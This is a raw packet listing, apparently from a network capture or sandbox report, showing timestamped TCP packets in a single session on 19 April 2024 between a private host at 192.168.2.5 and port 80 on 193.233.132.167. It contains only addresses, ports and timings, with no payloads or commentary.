Apr 19, 2024 03:29:12.993577003 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993585110 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993628979 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238241911 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238358021 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238398075 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238435984 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238440037 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238472939 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238506079 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238507032 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238512039 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238528967 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238549948 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238586903 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238610983 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238624096 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238651991 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238662004 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238677025 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238702059 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238707066 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238753080 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238763094 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238791943 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238810062 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238830090 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238845110 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238869905 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238881111 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238909006 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238922119 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238945961 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.238959074 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.238985062 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239000082 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239023924 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239034891 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239061117 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239073992 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239099026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239110947 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239137888 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239155054 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239176035 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239188910 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239214897 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239232063 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239253044 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239264011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239290953 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239305019 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239330053 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239341974 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239370108 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239377975 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239408016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239419937 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239445925 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239459038 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239484072 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239491940 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239521980 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239536047 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239559889 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239568949 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239598036 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239613056 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239635944 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239645958 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239675045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239686012 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239713907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239726067 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239753962 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239768982 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239792109 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239803076 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239829063 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239866972 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239885092 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239885092 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239906073 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239943981 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.239964962 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.239981890 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240001917 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240019083 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240025997 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240056992 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240066051 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240094900 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240120888 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240144014 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240194082 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240231037 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240256071 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240269899 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240278006 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240312099 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240324020 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240350962 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240362883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240389109 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240400076 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240428925 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240466118 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240479946 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240504026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240518093 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240544081 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240557909 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240581989 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240591049 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240621090 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240633965 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240659952 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240669012 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240696907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240710974 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240737915 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240750074 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240776062 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240793943 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240814924 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240823984 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240852118 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240861893 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240890026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240897894 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240931034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240935087 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.240968943 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.240979910 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241007090 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241020918 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241045952 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241054058 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241084099 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241095066 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241122961 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241133928 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241161108 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241174936 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241199970 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241209984 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241236925 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241250038 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241275072 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241285086 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241312981 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241326094 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241350889 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241359949 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241394997 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241400003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241432905 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241442919 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241472006 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241482973 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241508961 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241520882 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241548061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241555929 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241585970 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241596937 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241624117 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241632938 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241662025 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241673946 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241700888 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241708040 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241740942 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241750002 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241780996 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241791010 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241817951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241827011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241856098 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241868019 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241894007 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241904974 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241933107 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241944075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.241971016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.241996050 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242007971 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242019892 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242047071 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242053032 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242084026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242094994 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242120981 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242130995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242160082 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242168903 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242196083 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242209911 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242234945 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242244005 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242273092 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242284060 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242311001 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242321968 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242348909 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242357969 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242387056 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242396116 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242424965 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242434978 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242463112 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242475033 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242501974 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242517948 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242517948 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242541075 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242578983 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242589951 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242616892 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242629051 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242655039 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242670059 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242692947 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242703915 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242731094 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242739916 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242769003 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242783070 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242808104 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242815018 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242846012 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242857933 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242888927 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242899895 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242928028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242938995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.242964983 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.242976904 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243002892 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243016958 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243041039 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243051052 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243077993 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243088007 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243115902 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243125916 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243154049 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243168116 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243191957 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243205070 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243231058 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243243933 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243268967 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243277073 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243308067 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243319035 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243345022 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243354082 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243382931 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243393898 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243421078 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243433952 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243458033 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243472099 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243496895 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243506908 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243534088 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243545055 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243571997 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243581057 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243609905 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243619919 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243647099 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243658066 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243685961 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243694067 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243724108 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243733883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243762016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243768930 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243801117 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243809938 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243839979 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243849039 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243877888 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243890047 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243917942 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243928909 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243957043 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.243968964 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.243994951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244004011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244034052 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244048119 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244071960 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244083881 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244119883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244146109 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244184017 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244195938 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244221926 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244231939 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244259119 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244266987 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244297028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244306087 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244338036 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244349003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244376898 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244385958 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244415045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244426012 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244453907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244462013 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244492054 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244501114 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244529963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.244544029 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.244576931 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487025976 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487090111 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487096071 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487132072 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487139940 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487174034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487183094 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487216949 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487231970 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487257004 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487272978 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487296104 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487313986 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487334967 CEST	80	49720	193.233.132.167	192.168.2.5
